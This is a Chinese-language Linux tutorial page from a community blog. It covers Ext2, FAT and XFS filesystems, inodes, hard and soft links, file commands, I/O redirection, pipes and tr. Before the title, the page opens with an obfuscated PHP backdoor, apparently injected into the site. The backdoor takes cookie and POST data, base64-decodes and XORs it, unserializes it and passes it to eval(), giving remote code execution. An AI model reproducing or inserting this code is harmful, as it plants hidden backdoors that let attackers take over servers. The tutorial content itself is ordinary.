$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} Linux下XFS、Ext2文件系统对比、文件管理、inode、文件名、标准I/O、管道|tee、tr -cs blog by fazionlan July.31st | Linux运维部落

Linux下XFS、Ext2文件系统对比、文件管理、inode、文件名、标准I/O、管道|tee、tr -cs blog by fazionlan July.31st

Linux下XFS、Ext2文件系统对比、文件管理、inode、文件名、标准I/O

Ext2、Fat、XFS文件系统

  文件系统是对一个存储设备上的数据和元数据进行组织的机制,文件系统的创建是在格式化分区的过程中完成的(一个分区就是一个系统),众所周知Windows操作系统使用的文件系统是FAT与NTFS;Linux不同的发行版本使用的文件系统主要有Ext、XFS、Btrfs等。这里重点介绍Ext2文件系统,并列举“拖油瓶”Fat文件系统和“高大上”XFS文件系统的特点。



















Ext2

ext2文件系统是索引式文件系统,分区结构如下:

1.jpg

第一部分是引导扇区,负责加载内核;第二部分是superblock,存储inode/block的总量、使用和剩余量及文件系统的信息;第三部分是inode,存储文件的元数据数据所在的block号;第四部分是block,存储文件的数据。文件的元数据包括文件大小、拥有者、所属组、时间戳等,但是不包括文件名,可用ls -l命令查看文件的元数据。当Linux找到一个文件时,先从目录项中找到文件名和inode,只要找到对应的inode,沿着指针并行把所有数据块收集起来,就可以读取一个完整的文件了,下面是inode的结构图:

2.jpg

由此计算可得block大小为4k时的单个文件的最大容量为4T,但是由于Ext2文件系统本身的限制,单个文件大小不能超过2T:

3.jpg

文件的inode信息可用stat命令查看,如图

4.jpg

这是文件系统的block、inode、目录项的指向情况:可以看到有两个目录项指向同一个inode,链接数会记录在inode中,只有当链接数为0时该文件才会被删除,也就是只有删除所有指向这个inode的文件名时才能删除文件,硬链接的原理就是多个文件名指向同一个inode,因此多个文件名共用一个inode号,达到共享与备份的目的。符号连接(软链接)则是一个有inode号的文件,其原理则是在文件的内容(数据)存放了该符号链接指向的具体文件名,相当于windows的快捷方式。很明显硬链接不能链接目录,也不能跨设备(分区),原因是每个分区都有独立的inode编号。符号链接则可以跨分区,也可以链接目录。




Fat

早期的fat文件系统用在window98系统中,它没有inode作为block的索引,因此读文件是是这样的duang!duang!duang!读完一个块才才知晓下一个块的位置,读取时间较长,效率低。

5.jpg


XFS

在CentOS 7上xfs作为缺省文件系统,目前最常见的文件系统Ext4已经非常优秀,但是随着存储需求越来越大,Ext4渐渐适应不了了,比如现在虽然Ext4 目录索引采用了Hash Index Tree, 但是依然限制高度为2.做过实际测试Ext4的单个目录文件超过200W个,性能下降的就比较厉害了。由于历史磁盘结构原因Ext4 的inode个数限制(32位数)最多只能有大概40多亿文件。而且Ext4的单个文件大小最大只能支持到16T(4K block size),而XFS使用64位管理空间,文件系统规模可以达到EB级别,可以说未来几年XFS彻底取代Ext4是早晚的事情。另外,我看了一下XFS目前redhat至少投入了5个Kernel developer在上面,因为XFS 是基于B+ Ttree管理元数据,即将支持reflink,dedupe等高级特性(Oracle 开发者已经开发了patch)。综上所述,XFS 取代Ext4 已经成为必然。

文件管理

  1. root用户下mv、rm、cp都定义了别名,加了-i提示的选项

  2. touch 刷新时间(-),创建空文件 touch f? ?表示一个字符 

    • touch -m -t 201710100220 file

    • touch -c #如果文件存在,则不予创建

    • touch -m #仅改变mtime

    • touch -a #仅改变atime

    • cp – copy files and directories

    • cp -i #提示覆盖或删除的信息,root下alias cp=’cp -i’避免权限过大乱cp

    • cp #直接复制会丢失属性

    • cp –preserve=ownership,timeship,mode或all #保留想要的属性,号隔开

    • cp -f #删除并从新复制,用户在自己的家目录可以-f覆盖其他用户的文件

    • cp -r #复制整个目录(文件和目录),可指定复制的目录,如果目录存在直接复制文件夹到存在的目录,目录不存在则复制目录到的内容到新的文件夹

    • cp -a #归档,保留原来的属性,链接还是链接

    • cp -d #不复制原文件,只复制链接名

    • cp -p #复制所有属性,链接变源文件

    • alias 别名命令 存放在~.bashrc和/etc/bashrc中

    • alias name=’command -option argument’

    • unalias name

    • \command or ‘command’ or /path/command #执行原命令

  3. mv 移动和重命名文件 

    • mv -i

    • mv -f

  4. rm 

    • rm -i

    • rm -f

    • rm -r

    • rm –no-preserve-root #cent6增加的选项

    • rm -rf = \rm

    • rmdir 删除空目录

    • rmdir -p递归删除空目录

  5. tree 

    • rpm -i /misc/cd/Packages/tree

    • tree -d

    • tree -L

    • tree -P

    • tree -p

    • mkdir

    • tree -p

    • tree -v

    • tree -m

  6. inode index node 

    在Linux中文件的链接方式有两种,一种是类似Windows的快捷方式,可以链接文件或目录,我们称之为软链接符号链接;另一种是直接链接到文件的inode并产生新的文件名,这种称之为硬链接(hard link)。文件由元数据和数据组成,其中元数据指的是文件的属性(大小、拥有者、权限、时间戳等信息,不包括文件名),数据就是文件的内容。元数据存放在inode中,数据存放在inode指向的一个或多个数据块(block)中。

    软链接

    (1)软链接有自己的inode号
    (2)软连接可以跨设备(分区)
    (3)软连接可以链接目录与文件(软连接)
    (4)软连接不会增加链接数
    (5)文件大小为链接地址的字符个数
    (6)软连接权限无关要紧
    硬链接(1)硬链接的inode相同
    (2)硬链接不能跨设备(分区)
    (3)硬链接不能应用于目录
    (4)每增加一个硬链接,该文件的链接数加一
    • 文件引用根据inode号,一般inode会占用文件系统磁盘空间的1%

    •  删除文件:分配inode,增加该目录的目录项,分配数据块

    •  增加文件:释放inode,减少该目录的目录项,数据块回收

    •  移动文件:创建新的目录项,删除旧目录的目录项,inode不变。但是不同分区间相当于先复制整个文件再删除原文件

    • file 查看文件类型,确定文件内容file -c #详细显示指令执行的过程,便于排错或分析程序执行

    • file -f #查看文件名的文件类型

    • file -F“—” #指定文件名后的分隔符

    • file -L file /zero告诉你这是一个软连接,file -L /zero告诉你文件类型

    • file -i #输出mime类型的字符串

    • file -b #列出文件的类型,但是不显示文件名

    • 不同分区的节点号可以不同,同一个分区用节点号唯一标识一个文件

    • df -i #显示每个分区的inode大小和利用率

    • ln f1 f2 #f2硬链接到f1的inode相同(ls -li),链接数加1

    • ln f1 /boot/f2 #硬链接不能跨设备(分区),且硬链接的文件不能是目录,软连接能跨设备(分区)

    • 目录的链接数量至少是2,本身和 . 都指向该目录,创建一个子目录会增加一个链接数

    • centos6 /目录下 -ai显示inode为2的表示一个分区的根

    • centos7 /目录下 -ai显示inode为128表示一个分区的根

    • ln -s f1 /testdir/f2 #软连接、符号链接,可以是文件或目录,f1软链接到f2(链接

    • 不同目录时f1用绝对路径或f1的相对路径,否则看到f2闪烁,centos中多用相对路径),使用了不同的inode

标准I/O设备

  1. 程序=指令+数据 

    • 读入数据:input

    • 输出数据:output

  2. 文件描述符fd,存放在/proc/任一进程号/fd/中,用ll可看到标准I/O设备

  3. Linux提供3种I/O设备,标准输入、输出、错误 

    • 标准输入(stdin)0,默认接收来自键盘的输入。

    • 标准输出(stdout)1,默认输出到终端窗口。

    • 标准错误(stderr)2,默认输出到终端窗口。

  4. I/O重定向 —— 输出:即改变默认位置 

    • ls > /dev/pts/2 #标准输出重定向到设备或文件中

    • `在执行命令的时候,可把输出信息重定向到到/dev/null中,干干净净

    • > f1 #stdout重定向,可创建一个空文件

    • 2> #stderr重定向

    • &> #stdout与stderr重定向

    • &>> 2>> >> #追加,不覆盖

    • f1 2>&1 #stdout输出到f1,把stderr变成stdout再输出到f1

    • set -C #禁止覆盖当前终端会话有效

    • set +C #允许覆盖

    • cat f1 f2 > f3 #合并到f3

  5. I/O重定向 —— 输入:用文件代替键盘的输入 

    • cat < f1 #把f1输入到cat中

    • cat > f1 <<eof  #多行重定向,在标准输时使用标准输入,表示输入eof就结束,此时才写入文件,Ctrl d退出。还有一个好处是可以一行一行的输入,不必放在一行

    • mail中默认是 . 表示结束,如 mail -s subject user <<eof 则表示以eof结

  6. 管道(pipe) 

    1. 默认只管传递正确地命令,即标准输出,可使用 2>&1 或 |&实现标准错误的重定向

    2. sjdgosgo 2>&1 |grep(旧写法) = sdshdgo |& grep(新写法) #把标准错误重定向到标准输出,再通过管道传递

    3. |tee #可实现在终端显示并写入文件,默认是覆盖文件 |tee -a 追加文件

    4. |less #一页一页地查看

  7. tr – 转换和删除字符 

    1. tr[OPTION]… SET1 [SET2]

    2. tr ‘a-z’ ‘A-Z’ 或 tr ‘[:lower:]’ ‘[:upper:]’ #逐个字符替换,若后者小于前者,则其余字符用最后一个字符替换

    3. -c或–complerment:取字符集的补集,取字符集以外的所有字符

    4. -d或–delete:删除所有属于第一字符集的字符;

    5. -s或–squeeze-repeats:压缩连续重复的字符用单独一个字符表示,如删除空行

    6. -t或–truncate-set1:先删除第一字符集较第二字符集多出的字符

练习

2016-07-31_142752.jpg

Ext2、Fat、XFS文件系统


原创文章,作者:helloc,如若转载,请注明出处:http://www.178linux.com/27044

(0)
上一篇 2016-07-29 15:27
下一篇 2016-08-01 14:21

相关推荐

  • 二叉树的应用详解 – 数据结构

    概述: 平衡树——特点:所有结点左右子树深度差≤1 排序树——特点:所有结点“左小右大字典树——由字符串构成的二叉排序树判定树——特点:分支查找树(例如12个球如何只称3次便分出轻重)带权树——特点:路径带权值(例如长度) 最优树——是带权路径长度最短的树,又称 Huffman树,用途之一是通信中的压缩编码。 1. 二叉排序树(二叉查找树 Bina…

    Linux干货 2015-04-07
  • 日志分析工具Awstats实战之Nginx篇-分析结果静态化

    原创作品,允许转载,转载时请务必以超链接形式标明文章 原始出处 、作者信息和本声明。否则将追究法律责任。http://nolinux.blog.51cto.com/4824967/1316979 前言: Awstats 是在 SourceForge 上发展很快的一个基原创作品,允许转载,转载时请务必以超链接形式标明文章 原始出处…

    Linux干货 2016-08-15
  • httpd服务之虚拟主机、访问控制、https配置详解

    前言 上文讲解了http协议及httpd的一些特性,是学习web服务需要掌握的一些基础知识,接下来让我们进一步了解httpd相关功能的配置,本文讲解的是虚拟主机,访问控制及https等功能的配置。 httpd之虚拟主机 虚拟主机共分为三种模式:基于IP、基于端口、基于主机名(FQDN) 实验环境介绍 开始之前,先介绍一下httpd在CentOS6.6版本及文…

    Linux干货 2015-04-14
  • linux 进程及作业管理

     1、Process: 运行中的程序的一个副本,是被载入内存的一个指令集合 进程ID(Process ID,PID)号码被用来标记各个进程 UID、GID、和SELinux语境决定对文件系统的存取和访问权限, 通常从执行进程的用户来继承 存在生命周期 Uninterruptible sleep: 不可中断的睡眠 Interruptible slee…

    Linux干货 2017-08-28
  • 脚本编写规范

    脚本编写规范 脚本名称以.sh结尾,名称见名知意 尽量使用UTF-8编码,注释及输出尽量使用英文 一般给到执行权限,但一些关于变量的配置文件不用加执行权限 执行的时候可以使用bash执行,或者使用bash -x 调试执行 脚本首行以#!/bin/bash,无空格,不带选项 第二行为空格或者添加一行空注释 开始注释内容:  #!/bin/bash&n…

    Linux干货 2017-04-16
  • Shell 位置参数总结

    描述: 位置参数指的是shell脚本的命令行参数,同时也表示shell函数的额函数参数。 说明: 示例: #!/bin/sh echo "number:$#"     # 传给脚本的参数个数 echo "scname:$0" &n…

    Linux干货 2016-08-16